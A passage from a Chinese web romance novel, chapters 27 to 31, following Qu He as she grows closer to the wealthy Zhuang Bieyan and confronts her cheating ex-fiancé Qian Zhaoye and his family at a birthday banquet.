她上半身往前靠了靠,“在北城有关庄总您的传闻可是数不胜数。”
庄别宴“哦”了声,意味深长道,“有哪些传闻?”
第27章 来自庄别宴的奖励?
“听说豪门千金私下议论若能得庄总您一眼垂青,便是死也甘愿。”
“还有说有人花了七位数就为了买您的一个联系方式。”
曲荷索性放下勺子,单手撑着下巴,眼珠子转了一圈,她脑袋往前凑了凑。
“更有甚者听说前段日子,有个名门千金送了您一块皇室手表,您收下后回了封信以表感谢。”
“还有....”
庄别宴看着面前人,眼眸亮晶晶,说到后来手指还在半空中挥了几下,整个人生动又活泼,带着莫名的感染力。
庄别宴忽然愣了神,记忆好像在这一刻重叠,那个趴在桌角喋喋不休的小姑娘又回来了。
曲荷说着说着终于察觉到了一些不对劲。
好像她刚才,似乎,应该,maybe又冒昧了...
曲荷咬了下舌头,尴尬一笑,开始找补,“其实...那些话我都不信的...庄总您的为人大家都再清楚不过了....”
气氛有些沉默。
庄别宴看着她,认真说:“没有七位数,联系方式给了,没有收手表,也没有回信。”
“啊?”
“庄家有三百二十一条家训里,没有不能‘娶妻要求门当户对’这条,更没有‘进庄家门需要在..祠堂跪三天三夜’”
说到后面,庄别宴面色微变,似是觉得有些太离谱了。
曲荷干笑两声,“所以说外界传得还是有些离谱了。”
庄别宴正色,“都是一些夸大其词,我也只是个普通人。”
曲荷有些被他逗笑了,“庄总这是在自证?”
“嗯!”庄别宴直视她的眼睛,“不想被误会。”
包间门被敲响,侍应生推着车进门。
又是一碗汤。
曲荷皱了下眉,看向庄别宴。
他掀开盖子,“是羊肚菌和排骨,没有中药,也不苦,尝尝?”
曲荷一脸怀疑。
庄别宴轻笑,“不是你说的,庄家玉树从不撒谎。”
曲荷被他调侃,好不容易忘记的羞愤又涌上头,她猛喝了一口水。
汤香四溢,曲荷试探舀了一小口,入口微甜。
她轻挑眉梢,又喝了口。
庄别宴把她表情尽收眼底,也给自己盛了碗。
一顿饭结束,已经是下午一点了。
结账的时候,曲荷正想买单,却被告知已经挂到了庄别宴账上。
“说好我请客的。”她小声抗议。
庄别宴神情自若,顺手帮她拉开大门,“店里自动挂账了,下次你请我吃龙虾。”
又是下次...
曲荷只好点头作罢。
迈巴赫平稳地行驶在马路上。
曲荷坐在副驾驶和司月发消息,没注意车子行驶的方向。
直到车子缓缓停下,她才抬起头,看到的却不是荷月坊的招牌,而是熟悉的奶油色英文PADA。
“这是...?”
“稍等我一下。”庄别宴留下这句话,解开安全带下车。
没一会儿,他拎着两个袋子上了车。
曲荷闻到了淡淡的奶油香。
他把其中一个袋子放在了后座,另外一个递到了她面前。
曲荷手停在半空,不知道接还是不接,“庄总,您这是...”
庄别宴把蛋糕轻放在她腿上,曲荷为了不让蛋糕掉下去只能扶住。
他系好安全带,语气平淡,目光却落在了她微微泛红的耳尖:“出门前答应了庄禧给她买甜品。”
曲荷点头,“哦,那这个..”
“这个”庄别宴转头看着她,“是奖励另一个小朋友。”
“......”
曲荷抬头,对上了他含笑的眼睛。
庄别宴笑了下,补充道:“她今天说了实话,勇敢表达了想法。”
曲荷下意识捏紧了纸袋边缘,耳根子红得更明显了。
庄别宴启动车子,似随意说着:“杨梅雪媚娘,店员说是今天刚上的新品。”
又是杨梅。
他居然还记得!
“谢谢。”曲荷轻声道谢,轻得好像只有她自己能听到。
可片刻后,就听到驾驶座传来了一个“嗯”字。
简单的一个字。
她莫名觉得手上的蛋糕有些烫手。
车子慢慢驶离,到了荷月坊门口庄别宴接了个电话就离开了。
曲荷站在原地,看着迈巴赫逐渐消失在拐角,直到车尾灯完全看不见她才拎着蛋糕走进店里。
.....
北山墅。
庄宅。
小庄禧洗完澡后坐在客厅羊毛地毯上,在桌子上一边画画一边和庄留月说话。
她画到一半放下水彩笔,“妈妈,郁叔叔今天又问我要不要给自己找个爸爸。”
庄留月眼睛没从手机上移开,手指在屏幕上划拉着短视频:“你怎么回的?”
小庄禧转向沙发:“我说郁叔叔你就死了这条心吧!”
她奶声奶气模仿着大人语气:“妈妈说过她不和闺蜜的弟弟谈对象,也不和比自己小的谈恋爱。”
“噗!”庄别宴终于从手机里抬起头,眉眼弯弯,“不愧是我女儿,过来亲一个。”
“来啦。”
小庄禧立刻爬起来,扑到庄留月在她脸上吧唧了一口,“妈妈你今天真美。”
“是吗?”庄留月摸了把脸,连正在看的腹肌视频都抛到了脑后,
小庄禧重重点了点头,满脸真诚,“比视频里那些露腹肌的叔叔还要美。”
庄留月乐开了花,把手机一扔,抱着庄禧亲了几口,“还是女儿好啊!”
庄禧趁机搂着她的脖子,眨巴着大眼睛撒娇:“那美丽的妈妈,明天周五了,我可以吃PADA吗?”
“你这周表现怎么样?”
“Amy老师奖励了一朵小红花,今天还让我做了一日小班长。”小庄禧骄傲的拍了拍胸脯。
“行!明天妈妈就给你去买。”
“谢谢妈妈,那你千万不要忘记喽。”
庄留月随意摆了摆手,“放心。”
小庄禧看着妈妈又沉浸回手机里的样子,小大人似的叹了口气,总觉得不靠谱。
她托着肉嘟嘟的下巴思考了好一会儿,要不还是再和舅舅说一声吧,顺便把曲姐姐的联系方式要过来。
正想着,就听到开门声响起。
庄别宴进了门。
庄禧眼睛一亮,穿上小鞋子‘哒哒哒’跑到门口。
刚站稳,就看到庄别宴手里拎着的PADA纸袋子。
她兴奋得蹦起来,“舅舅舅舅,你真好!你怎么知道我想吃PADA!”
小庄禧围着庄别宴转了好几圈,一口气把新学的夸奖词都倒了出来:“舅舅高大!帅气!聪明!厉害!牛逼!”
“可以了!”在听到最后两个字后,庄别宴及时打断。
他低头看着自家眨着大眼睛卖萌的小外甥女,又看了眼躺在沙发上的姐姐。
“只买了一个,不许多吃,吃完了记得要刷牙。”
“好的舅舅,谢谢舅舅。”
小庄禧乖巧接过袋子,小心翼翼拎着蛋糕去了餐厅,打开后看到里头的杨梅雪媚娘翘起了嘴,“舅舅,你怎么没买我喜欢的可露丽?”
第28章 他真是疯了!
庄别宴上楼的脚步顿了下,“可露丽卖光了。”
“那马卡龙呢?”她不死心追问。
“卖光了。”庄别宴头也不回上了楼。
“PADA的生意也太好了,可他们不是每天都会补货吗?”庄禧失望地戳了戳雪媚娘。
突然想到什么,朝楼上大喊,“舅舅!那你能不能把曲姐姐的微信推给我!”
楼上书房的门“砰”的一声关上了。
庄禧:“......”
她转头看向客厅沙发:“妈妈,舅舅怎么了?”
庄留月笑得意味深长,“他啊!做贼心虚了呗。”
庄禧:“....?”
舅舅什么时候当贼了?
小脑袋想了半天都没转明白,放弃了。
“那妈妈,你明天记得早点去买PADA哦!”
“好的好的,我已经和你郁叔叔说过了,明天你放学他带着你去买。”
“好!”小庄禧欢呼,把所有疑惑抛到脑后,张大嘴巴咬了口雪媚娘,一脸满足!
此时。
二楼书房。
庄别宴站在落地窗前,手里捏着手机。
他拇指悬在键盘上方,犹豫片刻后,最终还是退出了界面。
窗外月华如水,他抬头。
今晚的月色很美。
....
白玉湾。
曲荷洗完澡后在阳台晾衣服。
抬头,明月高悬,衬得夜色格外温柔。
她回了卧室,听到微信响了声。
曲荷拿过手机,看到一条好友申请。
【曲姐姐,我是庄禧。】
曲荷点开头像放大,照片里庄禧抱着比她还高的草莓熊的笑得灿烂。
她嘴角不自觉上扬,点了“同意”。
几乎是在同时,那头就发了条语音过来。
【曲姐姐你好呀~我是小庄禧!晚上好呀,你睡了吗?】
扬声器里,小姑娘声音软糯糯的。
曲荷打字到一半,想到什么又一个个删除,按住语音键:【小禧晚上好。】
手机很快又震了下,一条语音又弹了出来:【曲姐姐,你想不想我呀?家里的杨梅马上就结果子了,你记得要来哦!】
曲荷啧了声,失笑。
这小姑娘记性还挺好。
她按住语音键,声音不自觉放柔:【当然想你呀。】
想了想又发了句,【小禧上次在店里做的小碗马上就可以拿了哦。】
那头很快传来一阵欢呼:【真的吗?那禧儿让司机叔叔来拿。】
小姑娘一连发了好几条语音,兴致勃勃和她分享着这几天发生的事情,曲荷不好意思打断,便把手机放在一边整理衣服。
“曲姐姐,今天我拿到了Amy老师的小红花哦!”
“妈妈新做的美甲亮晶晶的,像星星一样,禧儿也想要....”
语音一条条自动播放,约莫几条后,突然停了。
曲荷拿过手机,发现屏幕上出现对方撤回了一条语音消息。
难怪。
她再等了一会儿,见那头没有新消息进来,看了眼时间,快九点了,估计小姑娘准备睡觉了吧。
她正准备退出微信,就看到聊天框跳出新的消息。
【晚安。】
曲荷笑笑,按住语音键:【晚安呀。】
与此同时。
北山墅。
庄宅。
二楼书房。
“舅舅,你干嘛!”
小庄禧嘟着嘴一脸不爽地看着自家舅舅,双眼写满了不满,她在原地蹦跶了好几下试图从他手里拿回手表。
“我还没和曲姐姐说完呢!才说完今天吃到了PADA的杨梅雪媚娘,你怎么把消息撤回了!”
庄禧生气跺了下脚。
她好不容易缠着舅舅才要到了曲姐姐微信,结果没说几句话手表就被拿走了。
庄别宴单手举着手表,另一只手轻松按住自家外甥女乱扑腾的小脑袋。
他目光停留在手表屏幕上,声音不疾不徐:“刚才怎么答应的?”
小庄禧哼了声,才心不甘情不愿说:“不能打扰曲姐姐休息。”
她还小,不会拼音打字,为了让曲姐姐知道是她,才拜托了舅舅帮忙发送好友申请,条件却是所有聊天都要在他的“监督”下。
“那我也才说了几句而已嘛。”她不死心嘀咕,“而且曲姐姐也会得很快呀。”
庄别宴看着手表上的聊天框,淡淡说:“你可以回去睡了。”
小庄禧肉乎乎的手一摊,“那你把手表还给我!”
庄别宴目光终于从手表上转移,低头看向庄禧,“给你继续玩?”
他手腕灵活一转,手表就被他藏起,微微俯身:“今天先放在我这里,明早再还你。”
“啊啊啊啊啊!舅舅坏!”小庄禧急地在原地跳了段“街舞”。
“后天。”庄别宴面色不改。
小庄禧瞬间蔫了。
“.....舅舅对不起!”
庄别宴淡淡扫了她一眼。
庄禧委屈地把小嘴一抿,“那我去睡觉了,舅舅晚安。”
“嗯。”
书房门轻轻合上。
庄别宴拿出手表,重新点亮屏幕,聊天框上最后一条是他刚刚发出的【晚安】,下面是她回复的语音。
他手指停顿片刻,轻轻一点。
【晚安呀。】
轻轻柔柔的声音,带着上扬的尾音,像羽毛拂过心尖。
隔着屏幕,他似乎已经能想象曲荷含笑的眼睛。
庄别宴喉结微动,不自觉往上滑动屏幕。
点开之前那条语音。
【我也想你呀。】
同样的声线,同样的语调,却带着更甜的笑意。
轻飘飘像一阵风。
他鬼使神差,点开又听了一遍。
寂静的书房里,同样的声音第三次响起。
“.......”
庄别宴看着手表,终于意识到自己刚才在做什么。
他猛地反手扣下手表屏幕,摇头轻笑。
“真是疯了....”
他低喃,抬手揉了揉眉心,可胸膛里的那份躁动却怎么也压不下去。
庄别宴解开衬衫最上面的扣子,走向阳台,深吸了口气。
夜风微亮,却吹不散心头的燥热。
他抬手看着掌心的儿童手表,自嘲勾了下唇。
自制力?
在这两条语音面前,轻而易举就被击溃了。
他最终还是没有听第四遍,只是紧紧握着手表。
....
入梅的北城天气阴晴多变。
曲荷在家里躺了两天后,满血复活。
趁着店休约着司月逛街吃饭。
两人刚吃完午饭外面就开始下起了大雨,商场门口都积起了一滩水洼。
恰好曲荷这时接到了sale的电话,说是她一个月前预定的领带已经到货了。
两个月前她给钱昭野定了条领带当做生日礼物。
距离他生日还有不到一周。
却是已经没有送的必要了。
但钱已经花了,三万块也不是大风刮来的。
曲荷拉着司月去了三楼专柜。
柜姐看到她很快迎了上来,“曲小姐,您定的那条领带今天终于到货了。”
曲荷笑笑。
柜姐异常热情,很快就把领带拿了过来。
一个月前她浏览官网一眼就看中了这条提花领带,当即就联系柜姐付了钱预定。
当时她付钱有多爽快,有多期待,现在就有多讽刺!
司月在旁边小声嘀咕,“三万块的领带就长这样?”
她凑近看了看,然后凑到曲荷耳边小声说:“这花纹远看还以为是蜘蛛网呢。”
曲荷轻笑,她移开视线,对柜姐说:“它能退吗?”
店员眼睛瞪大了,但很快又挂上了职业微笑,“不好意思哦曲小姐,门店有规定非货品质量问题不能退哦。”
三万块打水漂了。
旁边的司月一脸肉疼。
店员:“曲小姐也可以看看其他商品,如果有喜欢的可以换货呢。”
曲荷:“好。”
她在店里逛了逛,一圈下来,着实没看中想要的。
正想着随便买瓶香水算了,却在经过领饰区的玻璃柜台时看到一枚胸针。
店员见她驻足,很快上来。
“曲小姐,您眼光真好,这条胸针也是今天才到货。”
她小心翼翼取出胸针,推到了曲荷面前,开始介绍起来。
“这款胸针分两部分组成,您看外面这一圈,都是镶嵌的欧式切割钻石....”
曲荷的注意力却不在店员说的钻石上。
她只是觉得这枚胸针组合起来很像一个Y字。
第29章 还对他旧情难忘
不知为何,看到它的一眼,脑袋里就自动浮现了它别在庄别宴西装的样子。
很配。
她点了下柜台,“就这个吧,帮我包起来。”
店员惊讶张嘴,“曲小姐,这款胸针要比您预定的领带贵一倍。”
司月听到后,猛地转头,“学姐!”
曲荷冲她笑笑。
庄别宴这段时间帮了她很多,又送裙子又请吃饭,她回礼再正常不过。
她更担心的是,像庄别宴这样的人,用的东西应该都是定制的吧。
再想到那些他拒绝收礼的传闻。
曲荷心里有些忐忑。
他会收下吗?
司月以为她是送给钱昭野的,急得扯了扯她的手,“学姐!你不会还要送给那个渣男?”
曲荷拍了拍她的手,“放心,不是给他,是送给另一个朋友的。”
司月还是一脸怀疑。
曲荷笑笑,看向店员,“包起来吧,刷卡。”
“好!这边请!”
十分钟后,曲荷拎着礼品袋走出门店。
而在她身后不远处的立柱旁,钱昭野默默看着她离开的方向。
“昭野,你在看什么呢?”
乔眠上前挽住他的手,顺着他视线看去,只有来往的路人。
钱昭野回神,摇了摇头。
乔眠指了下不远处的门店,“肚子最近又大了点,我们去那里看看衣服吧。”
她指的方向就是曲荷刚走出的店。
“走吧。”他淡淡说。
进了门店后,乔眠在店员的拥簇下开始试衣服,每次试完衣服出来都要转个圈问他好不好看。
钱昭野看着她莫名觉得有些烦躁。
自从他和乔眠的关系被曲荷撞破后,她开始变得更加放肆了,偏偏她怀孕的事情又被家里人知道了。
他妈知道这事后,吵着闹着让他一定要把孩子生下来。
这段日子乔眠有了底气,花钱上也开始大手大脚。
钱昭野看着她一件件试衣服,乐此不疲,又想到了曲荷。
曲荷从来不会这样花钱大手大脚,之前每次出来和他逛街,她都不会主动提出要买东西,每次都是主动给他买。
曲荷心里眼里都在他身上,他随口一句话都会记住....
钱昭野越想越觉得心里堵得慌。
他起身借着抽烟往门口走去。
在经过领饰柜台时,店员迎上来,“先生可以看下领带饰品,很衬您的气质。”
钱昭野礼貌一笑,随意看了几眼。
“您可以看看这款胸针,是今天才到的新款,和它同到的另一款刚刚被买走呢。”
钱昭野眼眸一凝,“刚刚被买走?”
他记得刚才曲荷手上就拎着一个袋子。
店员礼貌微笑,“是呢。刚刚被一位女士买走了,看起来应该是送她的爱人。”
爱人?
钱昭野喉结一动,“是一个长头发,穿着黑色的裙子的女人吗?”
店员一愣,“您认识曲女士?”
钱昭野心里的答案得到认证。
“她买的是哪一款?”
“啊?”
钱昭野:“我想看一下,她买走的胸针。”
店员不好意思笑了笑,“店里的最后一款已经被买走了,给您看下产品图可以吗?”
钱昭野点头。
店员取出iPad,点开调出图片推到钱昭野面前。
在看到图片的一瞬间,钱昭野胸膛就震了下。
这条胸针的设计轮廓,很像一个Y字。
野。
心里那个答案呼之欲出。
他心跳突然加速,胸口不自觉发烫。
曲荷这条胸针是买给他的。
他的生日还有一个礼拜就到了,曲荷还记得。
钱昭野莫名有些欣喜。
是啊,七年的感情哪是这么容易说断就断的。
想来那天她说的取消婚约也只是气话罢了。
想到这些,堵在他心里的那口气,突然散了。
钱昭野敛眸,既然曲荷给了他这个台阶,那他也没有不下的道理。
正想着,就听到乔眠在叫他。
转头,就看到乔眠提着裙子走了过来,她亲昵地挽过手,“在看什么呢?”
钱昭野眼下知道曲荷还没放下自己后,心情大好。
“没什么,随便看看。”
乔眠探究的目光在他和店员之间游移,说出来话带着几分意味不明,“什么东西这么好看?是人还是领带啊?”
钱昭野皱了下眉,抽出手。
他现在越来越觉得乔眠比不上曲荷了,甚至怀疑她之前那副善解人意的模样是不是装出来的。
她以为他不知道?
上次不分青红皂白查他手机就算了,现在他和别人说句话就疑神疑鬼,一副小家子气,和当初简直判若两人!
乔眠发觉他生气了,拽着衣袖哄着道歉,“好啦,我知道错了。怀孕的时候情绪波动是正常的嘛。”
钱昭野再怎么样,也不会和孕妇吵些什么,只好忍下脾气。
乔眠碰了碰他的手臂,“好啦,那陪你我选衣服吧。”
说着她挽上他的手臂,拉着他走向女装区,在拐弯的时候,她不经意回头,恶狠狠警告了下刚才的店员。
“神经病。”店员被她看得莫名其妙,“疑神疑鬼,也就你把男人当个宝。”
钱昭野陪着乔眠买了四条裙子外加两双鞋才离开。
乔眠的气消了不少。
上车后,她眉心一动,身子往左边靠了过去,把正在系安全带的钱昭野吓了一跳。
乔眠故作亲昵靠在他肩上:“昭野,我刚刚不是故意的,只是太在乎你了。毕竟像你这样事业有成的青年企业家,在外面可是很招女人喜欢的。”
没有男人不喜欢听女人的吹捧和夸奖。
钱昭野也不例外。
男人的自尊心在这一刻到达了顶峰。
“好了,下次别这样了。”
“嗯嗯!好的。”
乔眠脑袋在他肩膀上蹭了两下,又在他侧脸落下一吻。
汽车缓缓驶离。
乔眠看了眼手机,熄屏,“昭野。”
“嗯。”
“钱奶奶的寿宴是不是快到了,你打算什么时候带我回家呀?”
绿灯转红。
“吱......”
钱昭野猛地踩下刹车,轮胎和马路摩擦发出响声。
车内,两人身子受惯性往前扑去。
“啊!”
乔眠尖叫一声,下意识护着肚子,好在车子在距离前车只剩几厘米的时候停下。
“钱昭野,你干什么!”乔眠脸色煞白,急得直接叫了大名。
却在他看过来后,轻轻摸着肚子,一副欲语泪先流的模样:“我只是怕孩子出事。”
钱昭野没说什么,他握着方向盘的指节却泛着白。
脑子里都是乔眠说的那句话。
奶奶的生日,曲荷会来吗?
那天出了医院他就发现曲荷已经把他的微信电话都拉黑了,还退出了所有工作群,像是要把七年的感情都抹掉。
他心里多少有些忐忑。
但又想到今天她特意买了带有他名字缩写的胸针,又觉得一切还有转圜余地。
他知道曲荷介意这个孩子存在,但他自有办法解决。
家里人想要的只是个孙子,至于孩子的母亲是谁,并不重要!
想到这,他心里莫名多了几分胜算。
钱昭野转头看向副驾驶乔眠,“奶奶生日你好好在家里待着吧。”
“为什么?”乔眠下意识反驳。
“你怀着孕去那种场合万一磕着碰着怎么办?”
“我会小心的,在说要是奶奶知道它马上就要有太外孙,一定很开心呀....”
钱昭野有些烦了,要是曲荷肯定听他的话了,他开口打断:“够了!我说不准去就不准去!听话!”
乔眠指甲深深掐进掌心,气得胸膛剧烈起伏。
别以为她不知道,他现在心里还没放下曲荷呢。
钱昭野不让她去,她有的是办法!她肚子里的孩子就是最大的筹码!
钱老太太的寿宴他一定要去,而且必须得让所有人知道她才是未来钱家的女主人。
卡宴行驶在路上。
车厢内气氛安静的诡异!
密闭的车内,钱昭野第一次觉得乔眠身上的香水味甜得发腻!
第30章 打脸!钱家开撕(上)
曲荷收到钱昭野的消息是在一天后。
陌生号码发来的十几条消息密密麻麻,占据了几乎大半个屏幕。
明明已经拉黑了他所有联系方式,也不知道他从哪里找了个新的号码。
看着屏幕上他发来的一堆不明所以的消息,曲荷一头雾水。
他又在发什么神经?
正准备把这个号码也拉黑时,一个电话打了进来。
曲荷愣了一下,手比脑子快右滑接通。
那头钱昭野的声音透过听筒传了过来:“阿荷,为什么不回我消息?我已经知道你买了...”
曲荷当即一个挂断。
附赠拉黑删除一条龙。
可世界只清净了不到几分钟。
很快,手机又打进一通电话,屏幕上跳动的名字是【钱奶奶。】
曲荷眉头皱得又深了几分,钱昭野到底想干什么!
电话无人接听响了一分钟后自动挂断,可没一会儿又打了过来。
曲荷无奈只好接通。
如她所料电话那头传来的还是钱昭野的声音:
“阿荷,还记得后天是什么日子吗?奶奶的寿宴马上要到了,她这几天还在念着你。”
曲荷听着他云淡风轻说话的语气,好像之前发生的那些事情都是一场梦,都不存在一样!
“钱昭野,我已经说得很清楚,我们的婚约取消了!”
那头传来一阵窸窣,片刻后钱奶奶苍老的声音传来过来:“小荷,后天奶奶的寿宴你要来啊!”
面对老人,曲荷多少有些心软。
在钱家所有人都是对她冷嘲热讽,相较下钱老太太对她态度倒是没有那么刻薄,之前订婚的时候,老太太还把传给孙媳妇的手镯和耳环都给了她。
她放软了声音:“奶奶,我那天有点事要去处理,应该赶不过来。”
老人声音带着几分叹息:“诶呀小荷,那你过来见奶奶一面的时间都没有吗?”
曲荷犹豫片刻,最终应下。
正好借着这次机会,把手镯和耳环还回去。
......
入夜,钱家别墅灯火通明。
曲荷特意吃了晚饭才过来,怕等会干起来没力气。
钱老太太七十岁寿宴,钱昭野事业也正是如日中天的时候,前来拜访的人倒是不少。
曲荷刚下车就碰到了好几个之前有过合作的客户,打了照面寒暄后,便径直走向前厅。
老太太这次寿宴摆在了家里别墅。
前厅是寿宴主会场。
曲荷刚走进前厅,就看到了被围在正中央的钱昭野。
他穿着几个月前买给他的深蓝西装,见到她后,男人眼睛一亮,快步走上前,“阿荷,你来了。”
语气熟稔得好像他们从来没分开过。
曲荷真不知道他这个厚脸皮是怎么练出来的。
她连个眼神都懒得给,从鼻腔里挤出一个“嗯”。
钱昭野被驳了面子,脸色僵硬了几分,但在想到那枚胸针后,又重新挂上笑容。
“奶奶在后头等很久了,我们过去吧。”
曲荷这才抬眼看向他,直截了当问:“取消婚礼的事,你说了吗?”
钱昭野笑容僵硬了几分,余光瞥了几眼周围,皮笑肉不笑。
他压低声音:“我们先去里面再说。”
曲荷冷笑,跟上他。
前厅到后面需要经过一个户外凉亭,在凉亭拐角处,钱昭野突然停下脚步。
四周安静得出奇。
静夜里,除了假山流水声,只能听到从前厅传出来的一些喧嚣。
“你干什么?”曲荷问。
钱昭野慢慢回头,转身时脸上又挂上了之前那副深情款款的模样,“阿荷,这段日子我已经反思了很多...”
灯光下,他眼眶微红,话里还带上了几分哽咽:“我已经意识到了自己的错误,阿荷,我们和好吧。”
这是什么天大的笑话?
这还是中文吗?
太荒唐了吧!
曲荷皱了下眉,像是在看一个疯子,“你脑子被狗咬了?”
钱昭野绷不住了:“....我现在好声好气和你说话,你能不能别这样?”
“怎样?”曲荷冷笑,“难道要像你一样厚颜无耻地纠缠?”
曲荷被他这么莫名其妙一出搞得不知所以。
不知道的还以为钱昭野除了车祸撞坏脑子失忆了。
“那天在医院我说得很清楚了,我们之间不可能了,不可能和好,更不可能结婚!”
“我不相信!如果真的和你如你所说不可能,那你今天为什么要过来?你不就是过来见我的吗?”
曲荷:“.....?”
Excuse me?
好一个普通又自信的男人。
“你想多了,我是来还东西的。”曲荷说着就从包里拿出了装着手镯和耳环的首饰盒,打开。
钱昭野看着她手里的盒子,摇了摇头,笑了。
“阿荷,我们在一起了七年,我是最了解你的。这只是你的借口而已,况且我已经知道你还忘不了我。”
曲荷不知道他哪里来的勇气说出这句话,冷笑,“钱昭野,我们是在一起了七年,但不是相爱了七年!我们已经结束了!”
“可是在我心里我们从来没分开!如果你真的放下了,为什么要买那枚胸针?”
胸针?
曲荷愣了一下。
她不知道钱昭野从哪里知道她买了胸针的事,但很显然,他误会了。
“那不是给你的。”
“又是借口!”
钱昭野目光灼灼,“阿荷,别嘴硬了。Y字造型,不就是‘野’吗?我知道你还爱我,你都不知道这几天我是怎么过来的。阿荷,我真的很想你!”
钱昭野满脸真诚,说着就想拉她的手。
曲荷连退三步,面无表情看着他,这个男人明明一脸春光,可嘴里却说着为自己开脱狡辩的话。
她语气冷漠到极致,“是外面的屎吃腻了,开始忆往昔了?钱昭野,你到底什么时候才能改掉这副满嘴谎言的德行!”
曲荷已经没有心思留在这里看他表演深情,转身快步离开。
钱昭野见状,急忙追了上来,在墙角处拉住她的手臂。
“你放开!”
“阿荷,我会改的!你放心,我发誓以后不会再有人影响我们的感情!”
“发誓?”
男人的誓言,是世界上最不可信的东西!和狗叫有什么区别?
曲荷盯着被他抓着的手腕,冷冷道:“那你敢让乔眠把肚子里的孩子打了吗?”
她抬头盯着钱昭野的眼睛。
时间一分一秒过去。
钱昭野脸上青一阵白一阵。
不知过了多久,他终于故做为难开口:“孩子是无辜的,马上就三个月了。产检的时候医生说过乔眠体质不好,打掉的话会对她的身体有很大影响。”
“哈!”
曲荷还是没忍住笑了出来。
“钱昭野,你现在倒是把自己当个男人了?知道要负责任了?你是不是还觉得自己特伟大?”
曲荷说到后来一口气差点上不来。
他简直太无耻了!
她逼近一步。
灯光在两人中间划出一条泾渭分明的‘楚河’。
“你一边说着要和我重修旧好,一边又让乔眠给你生孩子。怎么,真把自己当成皇帝了?三宫六院还不够,非要儿女双全才觉得体面是吗?”
两人现在距离近的她能看到钱昭野脸上的每一个微表情。
同样,也看清了这个男人的真面目。
自私,虚伪,令人作呕!
钱昭野紧紧攥着她的手腕,慌乱道:“不是的,你听我说。这个孩子的父母只会是我们两个,妈妈只有你!”
“等乔眠把孩子生下来之后,这个孩子就是我们的,你是妈妈,我是爸爸。阿荷,我知道你身体不好,有了这个孩子你也不用再遭罪了,我们才是幸福的一家.....”
“啪!”
第31章 打脸!钱家开撕(中)
响亮的巴掌声落在了钱昭野脸上。
曲荷甩了甩发麻的手,看着面前这个捂着脸不可置信的男人,觉得荒谬无比。
她冷声斥骂:“钱昭野,你就不是个男人!你怎么有脸说出那样的话!”
钱昭野被她打的这一下懵了。
手上力道松了一下,曲荷借机挣脱。
她攥着发麻的掌心,说话声音都在抖,可这次不是伤心,是纯粹的愤怒,“你真让我恶心!”
七年青春,就浪费在这个东西身上。
正在这时,凉亭后的廊灯亮了,脚步声由远及近。
乔眠挽着付月华的手有说有笑走了过来,后面还跟着几个打扮艳丽的婶嫂,几人的说笑声在见到不远处的她和钱昭野后戛然而止。
钱家平时那几个看热闹不嫌事多的人都凑在了一起,那几个婶嫂在看向曲荷的眼神里,带上了几分猫哭耗子假慈悲的怜悯。
几人中最先反应过来的是乔眠,她朝着他们在的方向喊了声,“昭野,奶奶刚刚还在找你呢。”
钱昭野听到声音,只能忍下心中不爽。
曲荷看着慢步走来的付月华几人。
乔眠的手始终落在小腹上,另一只手挽着付月华。
曲荷目光上移,落在她的脸上,眉心微蹙。
她怎么觉得乔眠这张脸哪里怪怪的。
有种陌生的熟悉感。
“曲荷!”
付月华尖厉的声音传了过来。
“你还有没有点礼数!老太太寿宴你不帮衬着点就算了,还迟到这么久!你把我们钱家当什么了!”
她依旧是那副尖酸刻薄样。
五年前钱昭野白手起家创立旷野科技,最初家里这些亲戚都不看好。
后来公司得到了一笔资金注入,事业逐渐好转,公司也越做越大。
付月华和钱重军原本是在老家开小商铺为生,公司做起来后他们就被接来了北城定居。
一人得道鸡犬升天,那些叔伯婶嫂听到风声立刻就拥了上来,你一句我一句地吹捧下,两人的虚荣心到了顶峰,也开始学着那些所谓的豪门做派,沉浸在自己的美梦里。
曲荷看着付月华艳丽的妆容和穿着,容貌再华丽又如何,不还是遮不住她的尖酸和刻薄,还有那骨子里的市侩!
“我说的话你听进去没有!”付月华还是头一次在这么多人面前被下了面子,声音不自觉高了几个度。
听得像一只大公鸡,再配上她身上那条不知道是哪个没听过的大牌深红裙子,显得更滑稽了。
曲荷没忍住,笑了一下。
“你在笑什么!”说话的人是钱芯桐。
钱重军弟弟的女儿,钱昭野的堂妹。
她最爱捧高踩低,从前没少使唤她。
钱芯桐一脸不爽走到曲荷面前,“曲荷,你还想不想进我们钱家门了?你态度好一点,不然....”
“不想。”
“知道就好!你...”
钱芯桐剩下半句话在反应过来曲荷刚才说了什么后,硬生生卡在了喉咙里。
曲荷刚才是在怼她?
她说的是什么来着?
“你....”
“吵吵闹闹像什么样子?”
伴着话音落下,钱老太太撑着拐杖慢慢出现在了所有人后面。
她浑浊的目光在几人面前流转一圈,最后落在曲荷身上,“老大媳妇和小荷跟我过来,其余人都散了!”
付月华脸色铁青,指甲不自觉掐进了乔眠手臂。
乔眠吃痛,却不敢出声,只是看着曲荷离开的背影,眼底闪过一抹阴鸷。
曲荷跟付月华回了后院客厅。
钱老太太拄着拐杖坐上主位,脸上的皱纹因为她的笑沟壑更深了:“小荷啊,钱家对不起你啊,这段日子你受委屈了。”
付月华听着这话就不乐意,“妈,您这说的什么话呢!”
“你给我把嘴闭上!”钱老太太拐杖重重一磕。
曲荷沉默看着这两婆媳。
钱老太太虽然也是从乡下小镇来的,但也是过了半辈子的人,为人处世上也更拎得清些。
她两手撑在拐杖上,看向曲荷的时候又换上了刚才和蔼的表情。
“小荷啊,你和阿野的事情奶奶都知道了,这几年你们两的感情我也都看在眼里,阿野他也意识到自己的错误了,你看看能不能看在奶奶的面子上再给他一次机会呢?”
“你们俩的婚礼都筹备得差不多了,家里也都通知下去了,这要是说不结就不结不得让别人嚼舌根?传出去对你也不好。”
还真是不是一家人就不进一家门啊!
曲荷看着面前这个白发苍苍的老人,轻笑一声后垂下眼眸。
果然啊,平时表现得再好,可终归和自家孙子才是一家人,到底是血脉相连。
她早该想到的。
“那孩子呢?”曲荷平静地问。
旁边的付月华先老太太一步开口,拍了下桌子,“孩子必须生下来!这是我们钱家的血脉!”
钱老太太面色有些尴尬,但也没有否认,接着付月华的话往下说,“这孩子毕竟是我们钱家第一个血脉,但是你放心,以后这孩子就是你和阿野的孩子。”
“呵。”
曲荷冷笑。
同样的说辞。
原来骨子里的冷血和卑劣真的会延续。
她这一声冷笑,把付月华激恼了,“曲荷你什么意思?难不成你还想让我们把这个孩子打掉?”
付月华起身锤了两下胸口,哭喊着:“妈,您看她安得是什么心啊!自己不会生就算了,还想让我们钱家绝后!就这样的人您还想让她进我们钱家门!”
说着说着她闭眼头往后一仰,一副被气到了的模样。
曲荷一声不吭,面无表情看着她撒泼打烂。
这表演也太拙劣了。
